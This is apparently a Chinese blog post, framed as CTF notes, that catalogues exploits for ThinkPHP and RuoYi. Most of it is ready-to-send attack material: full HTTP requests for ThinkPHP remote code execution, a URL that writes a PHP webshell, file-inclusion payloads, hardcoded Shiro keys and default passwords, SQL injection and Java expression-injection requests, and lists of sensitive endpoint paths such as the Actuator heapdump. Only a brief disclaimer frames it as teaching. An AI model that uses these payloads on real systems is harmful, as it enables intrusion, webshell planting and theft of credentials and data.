CTF之框架漏洞——不要以为你省下了功夫
原创
书中自有代码来
书中自有代码来
书中自有代码来
2026年6月8日 22:06
四川
在小说阅读器读本章
去阅读
一、什么是框架漏洞
框架漏洞是指Web应用所依赖的成熟开发框架(如ThinkPHP、Spring Boot、Shiro等)自身存在的设计缺陷、逻辑错误或默认配置不当引发的安全问题,这类漏洞通常不依赖业务代码逻辑,仅因框架版本特性即可被利用,可能导致远程代码执行、敏感信息泄露、权限绕过等严重后果,且因框架复用性极高,一旦出现通用漏洞会影响海量使用该框架的应用,危害范围广、利用成本低。
二、常见框架漏洞
(一)PHP——thinkphp
远程代码执行
- 5.0.23-Rce
poc:
POST /index.php?s=captcha HTTP/1.1
Host: node4.buuoj.cn:29957
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
修改最后的id即可执行其他命令
利用工具:bewhale/thinkphp\_gui\_tools: ThinkPHP漏洞综合利用工具
- CNVD-2018-24942
| 版本名 | 是否可被攻击 | 攻击条件 |
|---|---|---|
| 5.0.0 | 否 | 无 |
| 5.0.1 | 否 | 无 |
| 5.0.2 | 否 | 无 |
| 5.0.3 | 否 | 无 |
| 5.0.4 | 否 | 无 |
| 5.0.5 | 否 | 无 |
| 5.0.6 | 否 | 无 |
| 5.0.7 | 否 | 无 |
| 5.0.8 | 是 | 无需开启debug |
| 5.0.9 | 是 | 无需开启debug |
| 5.0.10 | 是 | 无需开启debug |
| 5.0.11 | 是 | 无需开启debug |
| 5.0.12 | 是 | 无需开启debug |
| 5.0.13 | 是 | 需开启debug |
| 5.0.14 | 是 | 需开启debug |
| 5.0.15 | 是 | 需开启debug |
| 5.0.16 | 是 | 需开启debug |
| 5.0.17 | 是 | 需开启debug |
| 5.0.18 | 是 | 需开启debug |
| 5.0.19 | 是 | 需开启debug |
| 5.0.20 | 否 | 无 |
| 5.0.21 | 是 | 需开启debug |
| 5.0.22 | 是 | 需开启debug |
| 5.0.23 | 是 | 需开启debug |
一句话木马:
http://ip/?s=index/\\think\\template\\driver\\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E
poc集合:SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合
任意文件包含
- 包含日志-3.2x
该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。
使用请求头修改即可:
X-REAL-HOST: <?php phpinfo();?>
X-REWRITE-URL: <?php phpinfo();?>
X-HTTP-METHOD-OVERRIDE: <?php phpinfo();?>
利用工具:Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具
- 包含语言QVD-2022-46174
如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
poc:
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/666.php
(二)JAVA——ruoyi
弱口令
- 直接爆破
常见用户名:admin ruoyi druid 常见密码:123456 admin druid admin123 admin888
- Shiro默认密钥
该漏洞在ruoyi小于4.6.2时有效
相关文件:ruoyi-admin/src/main/resources/application.yml中的cipherKey字段中硬编码的密钥
利用方法:使用SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用工具(参考shiro反序列化漏洞综合利用工具环境报错问题解决),填入密钥等信息,使用爆破利用工具链来破解。
| RuoYi 版本号 | 对象版本的默认AES密钥 |
|---|---|
| 4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== |
| 3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== |
sql注入
该漏洞在4.6.2以下有效
在sql注入成功后,服务器会以报错形式返回查询信息
相关poc集合:
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: \"Chromium\";v=\"109\", \"Not_A Brand\";v=\"99\"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: \"Windows\"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
任意文件上传下载
CNVD-2021-01931
该漏洞在4.5.1以下有效
CVE-2023-27025
该漏洞在4.7.6以下有效
- 获取管理员cookie
- 在/monitor/job/add设置定时绕过白名单的任务
- 通过/monitor/job/add执行任务修改配置路径
- 使用/common/download/resource?resource=触发漏洞
- 这样服务器就只校验上传路径,不再次校验实际路径是否合法
编码绕过
该漏洞在4.7.6以下有效
通过使用url或utf编码可以绕过waf的检测,达到执行特定指令的效果
使用工具:cckuailong/JNDI-Injection-Exploit-Plus
java注入
相关poc:
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: \"Chromium\";v=\"123\", \"Not:A-Brand\";v=\"8\"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: \"Windows\"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
POST /monitor/cache/getKeys HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: \"Chromium\";v=\"123\", \"Not:A-Brand\";v=\"8\"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: \"Windows\"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/monitor/cache/getKeys
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
拼接路径漏洞
常见泄露路径,有则可以使用spring-boot攻击方法利用:
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html
api文档信息
- Druid监控组件:http://ip/baseurl/druid/login.html针对Druid监控组件,可通过访问该路径进行排查,成功登录后应重点审查Session监控与URI监控两个核心模块。在Session监控中,可利用页面泄露的历史登录Session值,通过抓包替换等方式尝试绕过认证直接登录系统;而在URI监控处,则能获取大量系统接口路径,借此可进一步访问并挖掘潜在的敏感信息。
- Swagger接口文档:http://ip/baseurl/swagger-ui/
针对Swagger接口文档,可通过访问该路径查看系统暴露的API结构,并基于接口文档开展下一步测试。当发现接口数量庞大、手动测试效率低下时,建议引入自动化工具(如swagger-hack)对接口进行批量爬取与未授权访问测试,从而高效挖掘潜在的安全漏洞。 - Spring Boot Actuator:http://ip/baseurl/actuator
针对Spring Boot框架的Actuator监控端点,需重点排查该路径下是否存在未授权访问漏洞,尤其是极具危险性的/actuator/heapdump路径。该路径可导出JVM运行时的堆内存快照文件,攻击者下载后利用专业分析工具对其进行解析,往往能够从中提取出数据库密码、Token等大量高价值敏感信息。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论